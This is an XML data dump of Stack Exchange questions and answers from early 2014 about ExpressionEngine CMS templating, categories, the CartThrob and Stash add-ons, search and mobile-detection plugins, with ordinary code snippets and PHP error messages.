  <row Id="19832" PostTypeId="1" AcceptedAnswerId="19840" CreationDate="2014-02-27T17:14:48.297" Score="1" ViewCount="117" Body="&lt;p&gt;when searching for an answer it always lead to a .htaccess issue, but that's not what this is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm new to EE since my companies website works on it i'm learning on the fly. &#xA;to try to learn it better i installed it to my personal website and i'm starting to get the hang of it. but when i tried to install it on my computer using a WAMP server, the index.php file never showed up. i get a 404 error when going to &lt;code&gt;http://localhost/index.php&lt;/code&gt; after clicking on &lt;b&gt;view rendered template&lt;/b&gt; in EE on my computer while WAMP is running. &lt;/p&gt;&#xA;" OwnerUserId="2797" LastActivityDate="2014-02-27T21:41:16.743" Title="Index.php was not generated on localhost. (not a .htaccess issue)" Tags="|ee2|404|localhost|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19833" PostTypeId="1" AcceptedAnswerId="19842" CreationDate="2014-02-27T17:48:30.353" Score="1" ViewCount="61" Body="&lt;p&gt;I have a site that needs to include category names as a parameter for search results that's keywords might be the cat name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of a way to do this, or possibly a plugin that converts a chosen set of categories to field data automatically so I can spoof it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ta.&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2014-02-27T23:09:16.300" Title="Index Categories in Expression Engine search results" Tags="|categories|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19834" PostTypeId="1" AcceptedAnswerId="19837" CreationDate="2014-02-27T18:24:56.937" Score="1" ViewCount="97" Body="&lt;p&gt;I am going to try an explain this as best as I can, it is a pretty broad question of which I a still working out the logic (before I try coding). I figure I will ask in here to see if anyone has dealt with anything of the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am creating a photo gallery with a small select list at the top that lets you switch between designated  sections of photos (I  was thinking I could apply categories or something like that). I'm wondering if there is some kind of way to do this with EE logic, have a select list with the category names in them that feed into an entries channel below it with the pictures themselves maybe? Anyone have a foot in the door with something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!!&lt;/p&gt;&#xA;" OwnerUserId="2798" LastActivityDate="2014-02-28T20:23:02.940" Title="Photo gallery with select list that displays different content" Tags="|ee2|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19835" PostTypeId="2" ParentId="19814" CreationDate="2014-02-27T18:32:49.480" Score="0" Body="&lt;p&gt;The &quot;People Also Purchased&quot; option in CT might also be considered one way to chart popularity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cartthrob.com/docs/tags_detail/also_purchased/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/also_purchased/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title and price can be sorted with native EE tags.&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2014-02-27T18:32:49.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19837" PostTypeId="2" ParentId="19834" CreationDate="2014-02-27T20:01:50.310" Score="3" Body="&lt;p&gt;For your drop down,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;whateveryourchannelis&quot; style=&quot;linear&quot;}&#xA;&amp;lt;option value=&quot;{category_id}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you are outputting the images put the category id's for the entries in a data attribute. Bind a on change event to the select field. Then used jquery to hide all the entries that are not in the newly selected category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many other ways to do it with if you wanted a page refresh. I would recommend studying the documentation a little more and maybe browsing around on this site to get a handle on how ee categories work. Once you understand there are some really cool things you can do with ee.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-02-27T20:01:50.310" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19838" PostTypeId="2" ParentId="19748" CreationDate="2014-02-27T20:39:14.630" Score="0" Body="&lt;p&gt;I had exp:freeform:entries in Low Vars. I don't remember if preparsing was turned on or not. Anyway once I moved the code to an embedded template all was smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for not thinking through and trying stuff on my own before asking here.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-02-27T20:39:14.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19839" PostTypeId="2" ParentId="13758" CreationDate="2014-02-27T21:21:33.023" Score="3" Body="&lt;p&gt;I have chance to make test - the reason of this can be wrong tag in &lt;strong&gt;TO&lt;/strong&gt; field. &#xA;For example, for Entry Update/Create trigger needs to use *author_email* instead of *mbr_email*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try soon make better example in docs (and with additional notifications inside the add-on to prevent such situation).&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2014-02-28T03:27:45.960" LastActivityDate="2014-02-28T03:27:45.960" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19840" PostTypeId="2" ParentId="19832" CreationDate="2014-02-27T21:41:16.743" Score="2" Body="&lt;p&gt;Bchavez,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to check the configuration files of ExpressionEngine, I guess there is a problem about the server path and or the url path settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you install EE on the root of your server, or inside a folder? If it's inside a folder you have to configure the paths.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-02-27T21:41:16.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19841" PostTypeId="1" CreationDate="2014-02-27T21:53:24.030" Score="1" ViewCount="132" Body="&lt;p&gt;I'm trying to filter results to a few channels and I want to exclude entries in the news channel with the category of &quot;Internal News&quot;. The following returns no results. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results &#xA;    channel=&quot;not blog|breakouts|calendar|work|heros&quot; sort_by=&quot;asc&quot;&#xA;    limit=&quot;15&quot;&#xA;    status=&quot;open&quot;&#xA;    category=&quot;-Internal News&quot;&#xA;    relevance=&quot;title=500+summary=10+body=2&quot; &#xA;    relevance_proximity=&quot;yes&quot;&#xA;    highlight_keywords=&quot;strong&quot;&#xA;    smart_excerpt=&quot;yes&quot;}&#xA;...&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried category=&quot;-internal-news&quot; and I've tried the category filter in the search form with no luck.  &lt;/p&gt;&#xA;" OwnerUserId="2425" LastActivityDate="2014-03-30T08:03:05.163" Title="Super Search returns no results with category parameter" Tags="|supersearch|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19842" PostTypeId="2" ParentId="19833" CreationDate="2014-02-27T23:09:16.300" Score="2" Body="&lt;p&gt;Check out &lt;a href=&quot;http://www.solspace.com/software/detail/preparse/&quot; rel=&quot;nofollow&quot;&gt;Preparse&lt;/a&gt; from Solspace. It's a free extension that allows you to run a template against your entries when you save them and store the output in a field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low actually talked about this &lt;a href=&quot;http://gotolow.com/blog/searching-non-field-data-with-low-search&quot; rel=&quot;nofollow&quot;&gt;on his blog&lt;/a&gt; in the context of Low Search, but you can use the same principle for the native search module as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend taking a look at the blog post and setting Preparse up on your site. I've done it before, and it works great.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-27T23:09:16.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19843" PostTypeId="2" ParentId="19526" CreationDate="2014-02-28T00:41:15.873" Score="1" Body="&lt;p&gt;There are currently no available CartThrob shipping plugins that do what you require. You would need to create a custom shipping plugin.&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-28T00:41:15.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19844" PostTypeId="2" ParentId="19656" CreationDate="2014-02-28T01:18:50.660" Score="4" Body="&lt;p&gt;I'm assuming you're using an &lt;code&gt;{item_options}&lt;/code&gt; tag pair within your &lt;code&gt;{exp:cartthrob:order_items}&lt;/code&gt; tags in your invoice template. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{item_options}&#xA;    {option_name}: {option_value}&#xA;{/item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add a conditional to check for a &quot;Site Id&quot; &lt;code&gt;{option_label}&lt;/code&gt; and only show the non Site Id options.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{item_options}&#xA;    {if option_label != &quot;Site Id&quot;}{option_name}: {option_value}{/if}&#xA;{/item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-28T01:18:50.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19845" PostTypeId="2" ParentId="19841" CreationDate="2014-02-28T07:43:17.860" Score="1" Body="&lt;p&gt;Have you played with the &lt;code&gt;category_indicator=&lt;/code&gt; parameter to make sure it's matching the way you are indicating your categories? I find it's always much more robust when using category url titles.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-28T07:43:17.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19846" PostTypeId="2" ParentId="19831" CreationDate="2014-02-28T10:09:28.920" Score="1" Body="&lt;p&gt;Low Events expects the format of the both start date and end date to be &lt;code&gt;YYYY-MM-DD&lt;/code&gt;. They both must be submitted. Also, the end date must be equal to or greater than the start date. The native JS (and styling) automatically changes the end date when the start date is modified. If you remove the class names, this check won't fire, so you'd have to do that yourself. You could hide the end date fields using &lt;code&gt;display:none&lt;/code&gt; so the fields &lt;em&gt;are&lt;/em&gt; submitted, but just not shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you make sure these conditions are met, the values should be saved correctly.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-28T10:09:28.920" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19847" PostTypeId="2" ParentId="19819" CreationDate="2014-02-28T10:41:34.630" Score="1" Body="&lt;p&gt;Thanks for the replies it was not an EE error but a problem with the mod_rewrite on the Apache server&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-02-28T10:41:34.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19848" PostTypeId="1" CreationDate="2014-02-28T12:26:57.170" Score="1" ViewCount="248" Body="&lt;p&gt;I have spent many hours testing several of the popular mobile detect plugins and get mostly errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look at their support options, they seem to have shut down many months ago. I'm starting to wonder if they aren't compatible with more recent versions of Expression Engine, and the developers gave up on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are any of you having luck with them? If so, which plugins do you use and what version of EE are you using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I follow the documentation for MX Mobile Device Detect, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mobile_detect:device}&#xA;{if &quot;{exp:mobile_detect:device}&quot; == &quot;mobile&quot;}&#xA;Greetings mobile visitor!&#xA;{/if}&#xA;{if &quot;{exp:mobile_detect:device}&quot; == &quot;not_mobile&quot;}&#xA;Greetings desktop/laptop visitor!&#xA;{/if}&#xA;{/exp:mobile_detect:device}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Produces the response &quot;not mobile&quot; on my desktop and a blank on my phone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code produces a blank instead of Hello Bill.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mobile_detect}&#xA;    {if device == &quot;ipad&quot;}&#xA;        Hello Steve&#xA;    {/if}&#xA;    {if device == &quot;android&quot; }&#xA;        Hello Bender&#xA;    {/if}&#xA;    {if not_mobile}&#xA;        Hello ... Bill ???&#xA;    {/if}&#xA;{/exp:mobile_detect}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following code also produces a blank:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mobile_detect:screen_detect}&#xA;{if {screen_width} &amp;gt; 1024}You have desktop{/if}&#xA;{/exp:mobile_detect:screen_detect}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2564" LastEditorUserId="6825" LastEditDate="2015-12-02T19:43:06.550" LastActivityDate="2018-01-16T18:46:37.130" Title="Responsive mobile plugins going nowhere" Tags="|add-on|plugin|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19849" PostTypeId="2" ParentId="17860" CreationDate="2014-02-28T14:59:07.097" Score="0" Body="&lt;p&gt;I'm working on an add-on to do this and more but it's still in beta. If the code can help you, help yourself: &lt;a href=&quot;https://github.com/tfitzgeraldca/Polyglot&quot; rel=&quot;nofollow&quot;&gt;https://github.com/tfitzgeraldca/Polyglot&lt;/a&gt; Any feedback is welcome.&lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2014-02-28T14:59:07.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19851" PostTypeId="2" ParentId="19689" CreationDate="2014-02-28T15:17:05.690" Score="3" Body="&lt;p&gt;I had used &lt;a href=&quot;http://www.intoeetive.com/docs/messaging.html&quot; rel=&quot;nofollow&quot;&gt;Messaging&lt;/a&gt; addon much before and think it can work for you. Basically your main goal is &quot;not to send PM email notification to member if logged in&quot;. Right? This addon is having a hook &lt;code&gt;messaging_pm_sent&lt;/code&gt; by using which a small extension can be developed just return if member is logged in (no PM notification will be sent) or just a little hack can be put there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-02-28T15:17:05.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19852" PostTypeId="1" CreationDate="2014-02-28T16:44:21.590" Score="0" ViewCount="43" Body="&lt;p&gt;I have installed the Expresso &lt;a href=&quot;https://github.com/expressodev/store_check&quot; rel=&quot;nofollow&quot;&gt;store_check extension&lt;/a&gt; locally. After enabling the extension I can see a row is created in the database in exp_extensions. A new 'Check' payment method should be shown in the Store settings but it's not there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I deploy to my dev server there's no problem, everything just works. I've tried uninstalling and disabling the extension and removed the database entry numerous times without succes. What else can I try to get this to work?&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2014-03-06T00:30:29.350" Title="store_check extension works on dev, doesn't locally" Tags="|expresso-store|extension|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19853" PostTypeId="1" CreationDate="2014-02-28T17:37:50.853" Score="1" ViewCount="345" Body="&lt;p&gt;I can't seem to find a way to display the parent and then the child category in a entry:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; limit=&quot;6&quot; }&#xA;&amp;lt;a href=&quot;{site_url}Products/detail/{categories}{category_url_title}/{url_title}&quot;&amp;gt;Details &amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this needs to display a link to domain.com/Products/detail/Parent-Category/Child-Category/url-title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only seem to get the parent to display&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried GW Categories with no luck:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path=&quot;Products/detail/{exp:gwcode_categories entry_id=&quot;{entry_id}&quot; style=&quot;linear&quot; backspace=&quot;1&quot; depth=&quot;1|2&quot;}{cat_url_title}/{/exp:gwcode_categories}{url_title}&quot;}&quot;&amp;gt;Details &amp;amp;raquo;&amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2014-02-28T17:51:15.143" LastActivityDate="2014-03-30T20:06:44.777" Title="display parent and children categories in a channel entry" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19854" PostTypeId="2" ParentId="19538" CreationDate="2014-02-28T18:07:45.503" Score="1" Body="&lt;p&gt;Here is the solution (hope this helps someone else):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                {related_articles}&#xA;                    {if related_articles:count == 1}&#xA;                    &amp;lt;h2 class=&quot;blue borderBottom&quot;&amp;gt;Related Articles:&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path=&quot;/spread-awareness/news/&quot;}/{related_articles:url_title}&quot;&amp;gt;{related_articles:title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    {if related_articles:count == related_articles:total_results}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                    {/if}&#xA;                {/related_articles}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2366" LastActivityDate="2014-02-28T18:07:45.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19855" PostTypeId="2" ParentId="19853" CreationDate="2014-02-28T18:10:25.333" Score="1" Body="&lt;p&gt;Solved&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{site_url}Products/detail/{exp:gwcode_categories entry_id=&quot;{entry_id}&quot; style=&quot;linear&quot; backspace=&quot;1&quot; depth=&quot;1|2&quot;}{cat_url_title}/{/exp:gwcode_categories}/{url_title}&quot;&amp;gt;Details &amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-02-28T18:10:25.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19856" PostTypeId="2" ParentId="19807" CreationDate="2014-02-28T19:48:39.463" Score="0" Body="&lt;p&gt;That get_shipping_options tag only accepts one argument for the shipping_plugin parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can only have one shipping plugin active at a time. If you need both UPS and USPS options available at the same time, you'll need to combine those two plugins into a single plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can allow selection between those two shipping plugins using the multi_location_manager and custom_data. &lt;a href=&quot;https://github.com/CartThrob/addon-multi-location-settings-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/CartThrob/addon-multi-location-settings-manager&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could trigger the plugin update using an update_cart_from.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:update_cart_form}&#xA;    &amp;lt;select name=&quot;custom_data[set_shipping]&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;shipping_ups&quot; {if custom_data:set_shipping == &quot;shipping_ups&quot;}selected{/if}&amp;gt;UPS&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;shipping_usps&quot; {if custom_data:set_shipping == &quot;shipping_usps&quot;}selected{/if}&amp;gt;USPS&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    {exp:cartthrob:get_shipping_options}&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Update Shipping Options&quot; /&amp;gt;&#xA;{/exp:cartthrob:update_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The settings in the multi_location_manager would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4egzz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2584" LastActivityDate="2014-02-28T19:48:39.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19858" PostTypeId="2" ParentId="19819" CreationDate="2014-02-28T20:21:09.670" Score="0" Body="&lt;p&gt;Although you already mentioned your what your answer was. Always follow the steps described on this page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/operations/moving.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-02-28T20:21:09.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19859" PostTypeId="2" ParentId="19834" CreationDate="2014-02-28T20:23:02.940" Score="0" Body="&lt;p&gt;Assuming each photo is a channel entry, and you are grouping them based on category, this should be pretty easy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select class=&quot;group&quot;&amp;gt;&#xA;  {exp:channel:categories&#xA;    category_group='1'&#xA;    channel='gallery'&#xA;    disable='category_fields'&#xA;    show_empty='no'&#xA;    style='linear'&#xA;  }&#xA;    &amp;lt;option value=&quot;{path='gallery/view'}&quot;{if segment_3 == category_url_title} selected{/if}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;  {/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;section class=&quot;gallery&quot;&amp;gt;&#xA;  {exp:channel:entries&#xA;    channel='gallery'&#xA;    disable='pagination|member_data'&#xA;    require_entry='yes'&#xA;  }&#xA;    {if no_results}&#xA;      {redirect='404'}&#xA;    {/if}&#xA;&#xA;    &amp;lt;img src=&quot;{gallery_img}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/section&amp;gt;&amp;lt;!--/.gallery--&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;  $('select.group').change(function(){&#xA;    window.location = $(this).val();&#xA;  })&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will reload the page to the updated category URL, and the channel entries tag will dynamically display only photo entries that are in that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to get fancy, you can use ajax to load the updated photo listing without a page refresh.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-02-28T20:23:02.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19860" PostTypeId="2" ParentId="19848" CreationDate="2014-02-28T20:50:56.227" Score="-2" Body="&lt;p&gt;You can always use a core php class for detecting a mobile device. I've worked with this class before (no EE site) &lt;a href=&quot;http://www.phpclasses.org/package/7277-PHP-Detect-mobile-devices-from-request-headers.html&quot; rel=&quot;nofollow&quot;&gt;http://www.phpclasses.org/package/7277-PHP-Detect-mobile-devices-from-request-headers.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would also be able to use this inside a EE template by enabling php on input.&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-02-28T20:50:56.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19861" PostTypeId="1" AcceptedAnswerId="19979" CreationDate="2014-02-28T21:45:33.087" Score="0" ViewCount="52" Body="&lt;p&gt;I have a site running v 2.5.3 which all of a sudden has come up with a ton of errors and is not allowing the users to manage files. The errors look like this. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: 1&#xA;Filename: cp/content_files.php&#xA;Line Number: 369&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's probably 30 errors in that file. Which then ends with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Applications/AMPPS/www/ruffinos_lafayette/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 412&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Super Admins have the ability to access this just fine, it's just users. I've deleted members, created new member groups, etc. Nothing has worked.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2014-03-04T19:31:18.317" Title="Users cannot access File Manager" Tags="|members|file-uploads|error|file-manager|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19862" PostTypeId="2" ParentId="10821" CreationDate="2014-02-28T22:43:43.347" Score="1" Body="&lt;p&gt;Not a technical solution, but I've found that if I don't select either of the radio buttons I'm able to login as the user (redirected to the homepage as them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="2800" LastActivityDate="2014-02-28T22:43:43.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19864" PostTypeId="1" CreationDate="2014-03-01T01:46:04.527" Score="1" ViewCount="42" Body="&lt;p&gt;I'm trying to pass in a stash list into my embed file. It does seem to pass in the values but outputting the result does not seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Master Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:stash:set_list name=&quot;hours_list&quot; parse_tags=&quot;yes&quot;}&#xA;    {tunnel_hours}&#xA;        {stash:item_day}{day}{/stash:item_day}&#xA;        {stash:item_hours}{hours}{/stash:item_hours}&#xA;    {/tunnel_hours}&#xA;{/exp:stash:set_list}&#xA;{stash:embed:inc:sidebar-services-tunnels stash:hours=&quot;{stash:hours_list}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embed Template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{stash:hours_list} creates the following &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;item_day|=|Monday|&amp;amp;|item_hours|=|9-6|+|item_day|=|Tuesday|&amp;amp;|item_hours|=|9-6|+|item_day|=|Wednesday|&amp;amp;|item_hours|=|9-6|+|item_day|=|Thursday|&amp;amp;|item_hours|=|9-6|+|item_day|=|Friday|&amp;amp;|item_hours|=|9-6|+|item_day|=|Saturday|&amp;amp;|item_hours|=|10-8|+|item_day|=|Sunday|&amp;amp;|item_hours|=|10-8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This displays nothing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:stash:get_list name=&quot;{stash:hours_list}&quot;}&#xA;        &amp;lt;h1&amp;gt;{item_day}&amp;lt;/h1&amp;gt;&#xA;        {item_hours}&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-03-31T09:08:33.043" Title="Stash : Can I pass a stash_list into a stash:embed file?" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19866" PostTypeId="2" ParentId="19864" CreationDate="2014-03-01T04:11:02.587" Score="1" Body="&lt;p&gt;Shouldn't the list name just be hours_list in the get_list?  Or are you deliberately using a stash variable for the list name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, if you're using that set_list above, then&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;{exp:stash:get_list name=&quot;{stash:hours_list}&quot;}&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;{exp:stash:get_list name=&quot;hours_list&quot;}&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...unless you're trying to actually name your list as the contents of {stash:hours_list}&lt;/p&gt;&#xA;" OwnerUserId="1532" LastEditorUserId="1532" LastEditDate="2014-03-01T08:18:00.203" LastActivityDate="2014-03-01T08:18:00.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
